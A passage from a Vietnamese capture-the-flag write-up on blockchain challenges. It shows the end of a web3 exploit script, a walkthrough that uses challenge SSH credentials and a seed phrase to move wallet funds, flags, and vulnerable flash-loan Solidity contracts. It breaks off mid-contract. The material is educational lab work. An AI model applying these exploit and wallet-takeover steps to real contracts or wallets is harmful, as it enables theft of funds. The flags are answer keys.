<span class="hljs-title">tx_receipt</span> <span class="hljs-operator">=</span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">wait_for_transaction_receipt</span>(<span class="hljs-title">tx_hash</span>)
<span class="hljs-title">print</span>(<span class="hljs-string">"Transaction successful"</span>)

<span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">w3</span>.<span class="hljs-title">eth</span>.<span class="hljs-title">get_balance</span>(<span class="hljs-title">my_account</span>.<span class="hljs-title"><span class="hljs-keyword">address</span></span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> 10 <span class="hljs-operator">*</span> 10<span class="hljs-operator">*</span><span class="hljs-operator">*</span>18:
    <span class="hljs-title">print</span>(<span class="hljs-string">"Exploited successfully!"</span>)
<span class="hljs-title"><span class="hljs-keyword">else</span></span>:
    <span class="hljs-title">print</span>(<span class="hljs-string">"Set bounds again!"</span>)
</code></pre>
<p>(Nhớ thay thế các giá trị vào nha ❤️)</p>
<p><img src="https://hackmd.io/_uploads/BJNSnaZRp.png" alt="TARGET" /></p>
<h3 id="heading-flag-24">Flag</h3>
<p><code>HTB{1_f0rg0r_s0m3_U}</code></p>
<h3 id="heading-note-1">Note</h3>
<ul>
<li><p>Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu 💸:</p>
</li>
<li><p><code>10 Ether</code> tương đương với <code>10 * 10**18 wei</code> và tiền giao dịch theo đơn vị <code>wei</code> nên có phép so sánh ở dòng 56 kia 💰.</p>
</li>
</ul>
<h2 id="heading-recovery">Recovery</h2>
<h3 id="heading-description-11">Description</h3>
<ul>
<li><p>We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.</p>
</li>
<li><p>We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?</p>
</li>
<li><p>Username: satoshi</p>
</li>
<li><p>Password: L4mb0Pr0j3ct</p>
</li>
<li><p>NOTE: Network is regtest, check connection info in the handler first.</p>
</li>
</ul>
<h3 id="heading-solution-11">Solution</h3>
<p>Đây là chall duy nhất trong Blockchain không cho một file gì 🐧, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ.</p>
<p>Mình sẽ phân tích 3 Ports và cách dùng:</p>
<ul>
<li><p>Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum)</p>
</li>
<li><p>Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài.</p>
</li>
<li><p>Port 3: Tương tác với server và lấy flag - dùng nc</p>
</li>
</ul>
<p>Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác):</p>
<pre><code class="lang-plaintext">IP: 94.237.50.175

PORT 1: 41769
ssh satoshi@94.237.50.175 -p 41769
L4mb0Pr0j3ct
--------------------------------------------------
PORT 2: 31819
&amp; "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t
--------------------------------------------------
PORT 3: 37501
nc 94.237.50.175 37501
</code></pre>
<ul>
<li><p>Các bước:</p>
<p>  <img src="https://hackmd.io/_uploads/HyS1gRb0p.png" alt="1" /></p>
<p>  --&gt; Seed: fortune bubble wealth all sure sun awful agree energy possible margin green</p>
<p>  <img src="https://hackmd.io/_uploads/HJ1YeRZR6.png" alt="2" /></p>
</li>
<li><p>Nhập vài thông tin linh tinh, chọn <code>Standard wallet</code> rồi <code>I already have a seed</code></p>
<p>  <img src="https://hackmd.io/_uploads/S1gTl0-Aa.png" alt="3" /></p>
</li>
<li><p>Nhảy ra như thế này là oke</p>
<p>  <img src="https://hackmd.io/_uploads/SJz1bC-Rp.png" alt="4" /></p>
</li>
<li><p>Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi</p>
<p>  <img src="https://hackmd.io/_uploads/Sy0WZAbAp.png" alt="5" /></p>
</li>
<li><p>Tới đây lấy thông tài tài khoản đích:</p>
<p>  --&gt; Address: <code>bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr</code></p>
</li>
<li><p>Quay lại Electrum và giao dịch</p>
<p>  <img src="https://hackmd.io/_uploads/SkRLbA-C6.png" alt="6" /></p>
<p>  <img src="https://hackmd.io/_uploads/H19wb0-CT.png" alt="7" /></p>
<p>  <img src="https://hackmd.io/_uploads/rkhuWC-Ap.png" alt="8" /></p>
</li>
<li><p>Rồi back lại server lấy flag là xong</p>
<p>  <img src="https://hackmd.io/_uploads/SJzjWAZRT.png" alt="9" /></p>
</li>
</ul>
<h3 id="heading-flag-25">Flag</h3>
<p><code>HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}</code></p>
<h3 id="heading-note-2">Note</h3>
<p>Bài này mình được <code>Thụy AT20</code> support, sau khi làm thì thấy chall chả khác 🐶 gì Forensics very easy cả 🐧</p>
<h2 id="heading-ledger-heist">Ledger Heist</h2>
<h3 id="heading-description-12">Description</h3>
<p>Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.</p>
<ul>
<li><code>Errors.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotSupported</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token</span>)</span>;
<span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallbackFailed</span>(<span class="hljs-params"></span>)</span>;
<span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">LoanNotRepaid</span>(<span class="hljs-params"></span>)</span>;
<span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InsufficientBalance</span>(<span class="hljs-params"></span>)</span>;
</code></pre>
<ul>
<li><code>Events.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Events</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> to, <span class="hljs-keyword">uint256</span> value</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Approval</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> owner, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> spender, <span class="hljs-keyword">uint256</span> value</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">FlashLoanSuccessful</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> target, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> initiator, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> token, <span class="hljs-keyword">uint256</span> amount, <span class="hljs-keyword">uint256</span> fee
    </span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">FeesUpdated</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> token, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> user, <span class="hljs-keyword">uint256</span> fees</span>)</span>;
}
</code></pre>
<ul>
<li><code>FixedPointMath.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">library</span> <span class="hljs-title">FixedMathLib</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fixedMulFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> <span class="hljs-built_in">self</span>, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> denominator</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span> <span class="hljs-operator">*</span> b <span class="hljs-operator">/</span> denominator;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fixedMulCeil</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> <span class="hljs-built_in">self</span>, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> denominator</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> result</span>) </span>{
        <span class="hljs-keyword">uint256</span> _mul <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span> <span class="hljs-operator">*</span> b;
        <span class="hljs-keyword">if</span> (_mul <span class="hljs-operator">%</span> denominator <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            result <span class="hljs-operator">=</span> _mul <span class="hljs-operator">/</span> denominator;
        } <span class="hljs-keyword">else</span> {
            result <span class="hljs-operator">=</span> _mul <span class="hljs-operator">/</span> denominator <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fixedDivFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> <span class="hljs-built_in">self</span>, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> denominator</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span> <span class="hljs-operator">*</span> denominator <span class="hljs-operator">/</span> b;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fixedDivCeil</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> <span class="hljs-built_in">self</span>, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> denominator</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> result</span>) </span>{
        <span class="hljs-keyword">uint256</span> _mul <span class="hljs-operator">=</span> <span class="hljs-built_in">self</span> <span class="hljs-operator">*</span> denominator;
        <span class="hljs-keyword">if</span> (_mul <span class="hljs-operator">%</span> b <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            result <span class="hljs-operator">=</span> _mul <span class="hljs-operator">/</span> b;
        } <span class="hljs-keyword">else</span> {
            result <span class="hljs-operator">=</span> _mul <span class="hljs-operator">/</span> b <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
        }
    }
}
</code></pre>
<ul>
<li><code>Interfaces.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC20Minimal</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferFrom</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC3156FlashBorrower</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> initiator, <span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amount, <span class="hljs-keyword">uint256</span> fee, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>)
        <span class="hljs-title"><span class="hljs-keyword">external</span></span>
        <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)</span>;
}
</code></pre>
<ul>
<li><code>LoanPool.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">FixedMathLib</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./FixedPointMath.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./Errors.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20Minimal</span>, <span class="hljs-title">IERC3156FlashBorrower</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Interfaces.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Events</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Events.sol"</span>;

<span class="hljs-keyword">struct</span> <span class="hljs-title">UserRecord</span> {
    <span class="hljs-keyword">uint256</span> feePerShare;
    <span class="hljs-keyword">uint256</span> fees;
    <span class="hljs-keyword">uint256</span> balance;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LoanPool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Events</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">FixedMathLib</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> BONE <span class="hljs-operator">=</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">18</span>;

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> underlying;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> totalSupply;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> feePerShare;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> UserRecord) <span class="hljs-keyword">public</span> userRecords;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _underlying</span>) </span>{
        underlying <span class="hljs-operator">=</span> _underlying;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">address</span> _msgsender <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;

        _updateFees(_msgsender);
        IERC20Minimal(underlying).transferFrom(_msgsender, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);

        _mint(_msgsender, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">address</span> _msgsender <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;

        <span class="hljs-keyword">if</span> (userRecords[_msgsender].<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span> amount) {
            <span class="hljs-keyword">revert</span> InsufficientBalance();
        }

        _updateFees(_msgsender);
        _burn(_msgsender, amount);

        <span class="hljs-comment">// Send also any fees accumulated to user</span>
        <span class="hljs-keyword">uint256</span> fees <span class="hljs-operator">=</span> userRecords[_msgsender].fees;
        <span class="hljs-keyword">if</span> (fees <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
            userRecords[_msgsender].fees <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
            amount <span class="hljs-operator">+</span><span class="hljs-operator">=</span> fees;
            <span class="hljs-keyword">emit</span> FeesUpdated(underlying, _msgsender, fees);
        }

        IERC20Minimal(underlying).<span class="hljs-built_in">transfer</span>(_msgsender, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> userRecords[account].<span class="hljs-built_in">balance</span>;
    }

    <span class="hljs-comment">// Flash loan EIP</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying) {
            <span class="hljs-keyword">revert</span> NotSupported(token);
        }
        <span class="hljs-keyword">return</span> IERC20Minimal(token).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashFee</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying) {
            <span class="hljs-keyword">revert</span> NotSupported(token);
        }
        <span class="hljs-keyword">return</span> _computeFee(amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">IERC3156FlashBorrower receiver, <span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amount, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>)
        <span class="hljs-title"><span class="hljs-keyword">external</span></span>
        <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)
    </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying) {
            <span class="hljs-keyword">revert</span> NotSupported(token);
        }

        IERC20Minimal _token <span class="hljs-operator">=</span> IERC20Minimal(underlying);
        <span class="hljs-keyword">uint256</span> _balanceBefore <span class="hljs-operator">=</span> _token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">&gt;</span> _balanceBefore) {
            <span class="hljs-keyword">revert</span> InsufficientBalance();
        }

        <span class="hljs-keyword">uint256</span> _fee <span class="hljs-operator">=</span> _computeFee(amount);
        _token.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(receiver), amount);

        <span class="hljs-keyword">if</span> (
            receiver.onFlashLoan(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, underlying, amount, _fee, data)
                <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>)
        ) {
            <span class="hljs-keyword">revert</span> CallbackFailed();
        }

        <span class="hljs-keyword">uint256</span> _balanceAfter <span class="hljs-operator">=</span> _token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        <span class="hljs-keyword">if</span> (_balanceAfter <span class="hljs-operator">&lt;</span> _balanceBefore <span class="hljs-operator">+</span> _fee) {
            <span class="hljs-keyword">revert</span> LoanNotRepaid();
        }

        <span class="hljs-comment">// Accumulate fees and update feePerShare</span>
        <span class="hljs-keyword">uint256</span> interest <span class="hljs-operator">=</span> _balanceAfter <span class="hljs-operator">-</span> _balanceBefore;
        feePerShare <span class="hljs-operator">+</span><span class="hljs-operator">=</span> interest.fixedDivFloor(totalSupply, BONE);

        <span class="hljs-keyword">emit</span> FlashLoanSuccessful(<span class="hljs-keyword">address</span>(receiver), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, token, amount, _fee);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-comment">// Private methods</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        totalSupply <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        userRecords[to].<span class="hljs-built_in">balance</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), to, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_burn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        totalSupply <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        userRecords[<span class="hljs-keyword">from</span>].<span class="hljs-built_in">balance</span> <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_updateFees</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _user</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        UserRecord <span class="hljs-keyword">storage</span> record <span class="hljs-operator">=</span> userRecords[_user];
        <span class="hljs-keyword">uint256</span> fees <span class="hljs-operator">=</span> record.<span class="hljs-built_in">balance</span>.fixedMulCeil((feePerShare <span class="hljs-operator">-</span> record.feePerShare), BONE);

        record.fees <span class="hljs-operator">+</span><span class="hljs-operator">=</span> fees;
        record.feePerShare <span class="hljs-operator">=</span> feePerShare;

        <span class="hljs-keyword">emit</span> FeesUpdated(underlying, _user, fees);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_computeFee</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-comment">// 0.05% fee</span>
        <span class="hljs-keyword">return</span> amount.fixedMulCeil(<span class="hljs-number">5</span> <span class="hljs-operator">*</span> BONE <span class="hljs-operator">/</span> <span class="hljs-number">10_000</span>, BONE);
    }
}
</code></pre>
<ul>
<li><code>Setup.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">LoanPool</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./LoanPool.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Token</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Token.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Setup</span> </span>{
    LoanPool <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> TARGET;
    Token <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> TOKEN;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _user</span>) </span>{
        TOKEN <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Token(_user);
        TARGET <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> LoanPool(<span class="hljs-keyword">address</span>(TOKEN));

        TOKEN.approve(<span class="hljs-keyword">address</span>(TARGET), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        TARGET.deposit(<span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSolved</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> (TARGET.totalSupply() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span> <span class="hljs-literal">ether</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> TOKEN.balanceOf(<span class="hljs-keyword">address</span>(TARGET)) <span class="hljs-operator">&lt;</span> <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);
    }
}
</code></pre>
<ul>
<li><code>Token.sol</code>:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Events</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Events.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Token</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Events</span> </span>{
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> name <span class="hljs-operator">=</span> <span class="hljs-string">"Token"</span>;
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> symbol <span class="hljs-operator">=</span> <span class="hljs-string">"Tok"</span>;
    <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> decimals <span class="hljs-operator">=</span> <span class="hljs-number">18</span>;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> totalSupply;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balanceOf;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>)) <span class="hljs-keyword">public</span> allowance;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _user</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
